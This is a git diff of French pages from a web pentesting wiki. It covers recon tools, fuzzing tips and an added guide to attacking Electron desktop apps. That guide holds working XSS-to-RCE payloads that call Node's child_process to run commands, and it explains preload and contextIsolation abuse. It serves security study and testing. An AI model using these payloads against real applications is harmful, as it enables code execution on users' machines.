* [https://github.com/Ekultek/WhatWaf.git](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [https://nmap.org/nsedoc/scripts/http-waf-detect.html](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Astuces techniques Web
|
||||
### Astuces techniques web
|
||||
|
||||
Voici quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies bien connues** utilisées :
|
||||
Voici quelques astuces pour trouver des vulnérabilités dans différentes technologies bien connues :
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||
* [**Buckets**](buckets/)
|
||||
* [**CGI**](cgi.md)
|
||||
* [**Drupal**](drupal.md)
|
||||
* [**Flask**](flask.md)
|
||||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - Base de données SQL Java**](h2-java-sql-database.md)
|
||||
* [**Astuces IIS**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](broken-reference/)
|
||||
* [**Jira**](jira.md)
|
||||
* [**Joomla**](joomla.md)
|
||||
* [**JSP**](jsp.md)
|
||||
* [**Laravel**](laravel.md)
|
||||
* [**Moodle**](moodle.md)
|
||||
* [**Nginx**](nginx.md)
|
||||
* [**PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)**](php-tricks-esp/)
|
||||
* [**Python**](python.md)
|
||||
* [**Spring Actuators**](spring-actuators.md)
|
||||
* [**Symphony**](symphony.md)
|
||||
* [**Tomcat**](tomcat.md)
|
||||
* [**VMWare**](vmware-esx-vcenter....md)
|
||||
* [**Test de pénétration de l'API Web**](web-api-pentesting.md)
|
||||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps/)
|
||||
* [AEM - Adobe Experience Cloud](aem-adobe-experience-cloud.md)
|
||||
* [Apache](apache.md)
|
||||
* [Artifactory](artifactory-hacking-guide.md)
|
||||
* [Buckets](buckets/)
|
||||
* [CGI](cgi.md)
|
||||
* [Drupal](drupal.md)
|
||||
* [Flask](flask.md)
|
||||
* [Git](git.md)
|
||||
* [Golang](golang.md)
|
||||
* [GraphQL](graphql.md)
|
||||
* [H2 - Base de données SQL Java](h2-java-sql-database.md)
|
||||
* [Astuces IIS](iis-internet-information-services.md)
|
||||
* [JBOSS](jboss.md)
|
||||
* [Jenkins](broken-reference/)
|
||||
* [Jira](jira.md)
|
||||
* [Joomla](joomla.md)
|
||||
* [JSP](jsp.md)
|
||||
* [Laravel](laravel.md)
|
||||
* [Moodle](moodle.md)
|
||||
* [Nginx](nginx.md)
|
||||
* [PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)](php-tricks-esp/)
|
||||
* [Python](python.md)
|
||||
* [Spring Actuators](spring-actuators.md)
|
||||
* [Symphony](symphony.md)
|
||||
* [Tomcat](tomcat.md)
|
||||
* [VMWare](vmware-esx-vcenter....md)
|
||||
* [Test de pénétration de l'API Web](web-api-pentesting.md)
|
||||
* [WebDav](put-method-webdav.md)
|
||||
* [Werkzeug](werkzeug.md)
|
||||
* [Wordpress](wordpress.md)
|
||||
* [Electron Desktop (XSS to RCE)](electron-desktop-apps/)
|
||||
|
||||
_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application Web utilise une **technologie/plateforme bien connue** répertoriée ci-dessus ou **autre**, n'oubliez pas de **rechercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
|
||||
Notez que le même domaine peut utiliser différentes technologies sur différents ports, dossiers et sous-domaines. Si l'application web utilise une technologie ou une plateforme bien connue répertoriée ci-dessus ou toute autre, n'oubliez pas de rechercher sur Internet de nouvelles astuces (et faites-le moi savoir !).
|
||||
|
||||
### Examen du code source
|
||||
|
||||
Si le **code source** de l'application est disponible sur **github**, en plus de réaliser **vous-même un test de boîte blanche** de l'application, il y a **des informations** qui pourraient être **utiles** pour le **test de boîte noire** actuel :
|
||||
Si le code source de l'application est disponible sur GitHub, en plus de réaliser votre propre test en boîte blanche de l'application, il existe des informations qui pourraient être utiles pour les tests en boîte noire actuels :
|
||||
|
||||
* Y a-t-il un fichier **journal des modifications, un fichier Readme ou une version** ou toute autre information de **version accessible** via le web ?
|
||||
* Comment et où sont enregistrées les **informations d'identification** ? Y a-t-il un fichier (accessible ?) avec des informations d'identification (noms d'utilisateur ou mots de passe) ?
|
||||
* Les **mots de passe** sont-ils en **texte brut**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
|
||||
* Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
|
||||
* Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
|
||||
* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) **github** ? Ou dans **l'historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
|
||||
* Y a-t-il un fichier de journal des modifications, un fichier Readme ou une version ou toute autre information de version accessible via le web ?
|
||||
* Comment et où sont enregistrées les informations d'identification ? Y a-t-il un fichier (accessible ?) contenant des informations d'identification (noms d'utilisateur ou mots de passe) ?
|
||||
* Les mots de passe sont-ils en texte clair, chiffrés ou quel algorithme de hachage est utilisé ?
|
||||
* Utilise-t-il une clé maître pour chiffrer quelque chose ? Quel algorithme est utilisé ?
|
||||
* Pouvez-vous accéder à l'un de ces fichiers en exploitant une vulnérabilité ?
|
||||
* Y a-t-il des informations intéressantes dans les problèmes résolus et non résolus de GitHub ? Ou dans l'historique des commits (peut-être un mot de passe introduit dans un ancien commit) ?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
|
@ -134,7 +133,7 @@ Si le **code source** de l'application est disponible sur **github**, en plus de
|
|||
|
||||
### Scanners automatiques
|
||||
|
||||
#### Scanners automatiques à usage général
|
||||
#### Scanners automatiques polyvalents
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
|
@ -182,17 +181,17 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
Les serveurs Web peuvent **avoir un comportement inattendu** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**.
|
||||
|
||||
* Accédez à des **pages fictives** telles que /whatever\_fake.php (.aspx, .html, etc.)
|
||||
* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Ajoutez "\[]", "]]" et "\[\[" dans les **valeurs des cookies** et les **valeurs des paramètres** pour créer des erreurs
|
||||
* Générez une erreur en donnant une entrée sous la forme de **`/~randomthing/%s`** à la **fin** de l'URL
|
||||
* Essayez **différentes méthodes HTTP** telles que PATCH, DEBUG ou des méthodes incorrectes comme FAKE
|
||||
* Essayez **différentes méthodes HTTP** comme PATCH, DEBUG ou incorrectes comme FAKE
|
||||
|
||||
#### **Vérifiez si vous pouvez télécharger des fichiers (**[**verbe PUT, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **télécharger des fichiers** dans le dossier racine, essayez de :
|
||||
|
||||
* **Forcer** les identifiants
|
||||
* **Télécharger des fichiers** via WebDav vers le **reste des dossiers** trouvés à l'intérieur de la page Web. Vous pouvez avoir les permissions pour télécharger des fichiers dans d'autres dossiers.
|
||||
* **Télécharger des fichiers** via WebDav vers le **reste** des **dossiers trouvés** à l'intérieur de la page Web. Vous pouvez avoir les permissions pour télécharger des fichiers dans d'autres dossiers.
|
||||
|
||||
### **Vulnérabilités SSL/TLS**
|
||||
|
||||
|
|
@ -223,7 +222,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif de l'araignée
|
|||
* [**evine** ](https://github.com/saeeddhqan/evine)(go) : araignée HTML interactive en ligne de commande. Il recherche également dans Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : araignée HTML avec des capacités de rendu JS. Cependant, il semble qu'il ne soit plus maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
|
||||
* [**gau**](https://github.com/lc/gau) (go) : araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl)
|
||||
* [**gau**](https://github.com/lc/gau) (go) : araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera les URL avec des paramètres et les listera.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go) : araignée HTML avec des capacités de rendu JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : araignée HTML, avec des capacités de beautification JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut également être intéressant de jeter un coup d'œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
|
|
@ -237,7 +236,7 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif de l'araignée
|
|||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Une extension Burp pour trouver des chemins et des paramètres dans les fichiers JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Un outil qui, étant donné l'URL .js.map, vous donnera le code JS beautifié.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Cet outil est utilisé pour découvrir les points de terminaison pour une cible donnée.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (télécharger également les réponses dans wayback et rechercher d'autres liens).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens à partir de la machine wayback (télécharger également les réponses dans la wayback et rechercher d'autres liens).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un outil en ligne de commande pour extraire des URL, des chemins, des secrets et d'autres données intéressantes à partir du code source JavaScript.
|
||||
|
|
@ -280,14 +279,14 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu
|
|||
|
||||
### Ce qu'il faut vérifier sur chaque fichier trouvé
|
||||
|
||||
* [**Vérificateur de liens cassés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens cassés à l'intérieur des fichiers HTML qui pourraient être vulnérables aux prises de contrôle.
|
||||
* [**Vérificateur de liens cassés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens cassés à l'intérieur des fichiers HTML qui peuvent être vulnérables aux prises de contrôle.
|
||||
* **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez les sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac).
|
||||
* **Découverte de nouveaux paramètres** : Vous pouvez utiliser des outils tels que [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir les paramètres cachés. Si possible, vous pouvez essayer de rechercher** des paramètres cachés dans chaque fichier web exécutable.
|
||||
* _Tous les wordlists par défaut d'Arjun :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou des **fonctionnalités cachées**.
|
||||
* **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez trouver des **identifiants** ou des **fonctionnalités cachées**.
|
||||
* Si vous jouez à un **CTF**, une astuce "courante" consiste à **cacher** des **informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant des **centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en **bas** de la page web.
|
||||
* **Clés d'API** : Si vous trouvez une **clé d'API**, il existe un guide qui indique comment utiliser les clés d'API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Clés d'API Google : Si vous trouvez une clé d'API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder.
|
||||
|
|
@ -295,7 +294,7 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu
|
|||
|
||||
### Découvertes spéciales
|
||||
|
||||
**Pendant** l'**exploration** et l'**attaque par force brute**, vous pourriez trouver des **éléments intéressants** dont vous devez **prendre note**.
|
||||
**Pendant** l'**exploration** et l'**attaque par force brute**, vous pouvez trouver des **éléments intéressants** dont vous devez **prendre note**.
|
||||
|
||||
**Fichiers intéressants**
|
||||
|
||||
|
|
@ -303,10 +302,10 @@ Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaqu
|
|||
* [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md)
|
||||
* Si vous trouvez un fichier _**.env**_, des informations telles que des clés d'API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
|
||||
* Si vous trouvez des **points de terminaison d'API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
|
||||
* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. De plus, il serait intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines occasions, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
* **Déobfuscateur et désassembleur Javascript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embelleur Javascript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Embellisseur Javascript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Déobfuscation JsFuck** (javascript avec les caractères :"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* À plusieurs occasions, vous devrez **comprendre les expressions régulières** utilisées, cela sera utile : [https://regex101.com/](https://regex101.com)
|
||||
|
|
@ -417,7 +416,7 @@ Description: Simple Scan with Ffuf for discovering additional vhosts
|
|||
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
|
||||
```
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,321 @@
|
|||
# Applications de bureau Electron
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Introduction
|
||||
|
||||
Electron est **basé sur Chromium**, mais ce n'est pas un navigateur. Certains principes et mécanismes de sécurité implémentés par les navigateurs modernes ne sont pas en place.\
|
||||
Vous pouvez considérer Electron comme une application locale backend+frontend où **NodeJS** est le **backend** et **chromium** est le **frontend**.
|
||||
|
||||
Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire :
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Dans le code source d'une application Electron, à l'intérieur de `packet.json`, vous pouvez trouver spécifié le fichier `main.js` où les configurations de sécurité sont définies.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron a 2 types de processus :
|
||||
|
||||
* Processus principal (a un accès complet à NodeJS)
|
||||
* Processus de rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)
|
||||
|
||||
 (5) (1).png>)
|
||||
|
||||
Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier :
|
||||
```javascript
|
||||
const {BrowserWindow} = require('electron');
|
||||
let win = new BrowserWindow();
|
||||
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron d'être vulnérable à une RCE** ou à d'autres vulnérabilités si les **paramètres sont correctement configurés**.
|
||||
|
||||
L'application de bureau peut avoir accès à l'appareil de l'utilisateur via les API Node. Les deux configurations suivantes sont responsables de fournir des mécanismes pour **empêcher le JavaScript de l'application d'avoir un accès direct à l'appareil de l'utilisateur** et aux commandes système.
|
||||
|
||||
* **`nodeIntegration`** - est désactivé par défaut. S'il est activé, il permet d'accéder aux fonctionnalités de Node depuis le processus de rendu.
|
||||
* **`contextIsolation`** - est activé par défaut. S'il est activé, les processus principal et de rendu ne sont pas isolés.
|
||||
* **`preload`** - vide par défaut.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Il restreindra les actions que NodeJS peut effectuer.
|
||||
* Intégration de Node dans les Workers
|
||||
* **`nodeIntegrationInSubframes`** - est désactivé par défaut.
|
||||
* Si **`nodeIntegration`** est **activé**, cela permettra l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron.
|
||||
* Si **`nodeIntegration`** est **désactivé**, alors les pré-chargements se chargeront dans l'iframe.
|
||||
|
||||
Exemple de configuration :
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: 'Discord',
|
||||
backgroundColor: getBackgroundColor(),
|
||||
width: DEFAULT_WIDTH,
|
||||
height: DEFAULT_HEIGHT,
|
||||
minWidth: MIN_WIDTH,
|
||||
minHeight: MIN_HEIGHT,
|
||||
transparent: false,
|
||||
frame: false,
|
||||
resizable: true,
|
||||
show: isVisible,
|
||||
webPreferences: {
|
||||
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
||||
nodeIntegration: false,
|
||||
contextIsolation: false,
|
||||
sandbox: false,
|
||||
nodeIntegrationInSubFrames: false,
|
||||
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
||||
nativeWindowOpen: true,
|
||||
enableRemoteModule: false,
|
||||
spellcheck: true
|
||||
}
|
||||
};
|
||||
```
|
||||
Quelques **charges utiles RCE** provenant de [ici](https://7as.es/electron/nodeIntegration\_rce.txt) :
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
|
||||
|
||||
Example Payloads (Linux & MacOS):
|
||||
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
|
||||
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
|
||||
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
|
||||
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
|
||||
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
|
||||
```
|
||||
### Capture de trafic
|
||||
|
||||
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Injection de code local dans Electron
|
||||
|
||||
Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Vérifiez comment faire dans :
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
|
||||
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## RCE : XSS + nodeIntegration
|
||||
|
||||
Si le paramètre **nodeIntegration** est défini sur **on**, le JavaScript d'une page web peut facilement utiliser les fonctionnalités de Node.js en appelant simplement `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
|
||||
```html
|
||||
<script>
|
||||
require('child_process').exec('calc');
|
||||
// or
|
||||
top.require('child_process').exec('open /System/Applications/Calculator.app');
|
||||
</script>
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## RCE : preload
|
||||
|
||||
Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le moteur de rendu**, il a donc **un accès illimité aux API Node** :
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
nodeIntegration: false,
|
||||
preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Par conséquent, le script peut exporter les fonctionnalités du nœud vers les pages :
|
||||
|
||||
{% code title="preload.js" %}
|
||||
```javascript
|
||||
typeof require === 'function';
|
||||
window.runCalc = function(){
|
||||
require('child_process').exec('calc')
|
||||
};
|
||||
```
|
||||
{% code title="index.html" %}
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
typeof require === 'undefined';
|
||||
runCalc();
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**Si `contextIsolation` est activé, cela ne fonctionnera pas**
|
||||
{% endhint %}
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** de sorte que l'exécution JavaScript de chaque code n'affecte pas les autres. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
|
||||
|
||||
Si les contextes ne sont pas isolés, un attaquant peut :
|
||||
|
||||
1. Exécuter du **JavaScript arbitraire dans le rendu** (XSS ou navigation vers des sites externes)
|
||||
2. **Remplacer la méthode intégrée** utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction
|
||||
3. **Déclencher** l'utilisation de la **fonction remplacée**
|
||||
4. RCE ?
|
||||
|
||||
Il existe 2 endroits où les méthodes intégrées peuvent être remplacées : dans le code de préchargement ou dans le code interne d'Electron :
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
||||
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
|
||||
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
|
||||
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Contourner l'événement de clic
|
||||
|
||||
Si des restrictions sont appliquées lorsque vous cliquez sur un lien, il est possible de les contourner en **faisant un clic du milieu** au lieu d'un simple clic gauche.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Si l'application de bureau Electron est déployée avec les paramètres `nodeIntegration` et `contextIsolation` appropriés, cela signifie simplement que **l'exécution de code à distance côté client en ciblant les scripts de préchargement ou le code natif d'Electron à partir du processus principal ne peut pas être réalisée**.
|
||||
|
||||
Chaque fois qu'un utilisateur clique sur le lien ou ouvre une nouvelle fenêtre, les écouteurs d'événements suivants sont invoqués:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
L'application de bureau **remplace ces écouteurs** pour implémenter sa propre **logique métier**. Lors de la création de nouvelles fenêtres, l'application vérifie si le lien navigué doit être ouvert dans une fenêtre ou un onglet de l'application de bureau, ou s'il doit être ouvert dans le navigateur web. Dans notre exemple, la vérification est implémentée avec la fonction `openInternally`, si elle renvoie `false`, l'application supposera que le lien doit être ouvert dans le navigateur web en utilisant la fonction `shell.openExternal`.
|
||||
|
||||
**Voici un pseudocode simplifié :**
|
||||
|
||||
 (2) (1) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Selon les meilleures pratiques de sécurité d'Electron JS, la fonction `openExternal` **ne doit pas accepter de contenu non fiable** **car cela pourrait entraîner une exploitation de RCE en abusant de différents protocoles** si l'application ne limite pas la navigation des utilisateurs aux protocoles tels que https:// ou http://.
|
||||
|
||||
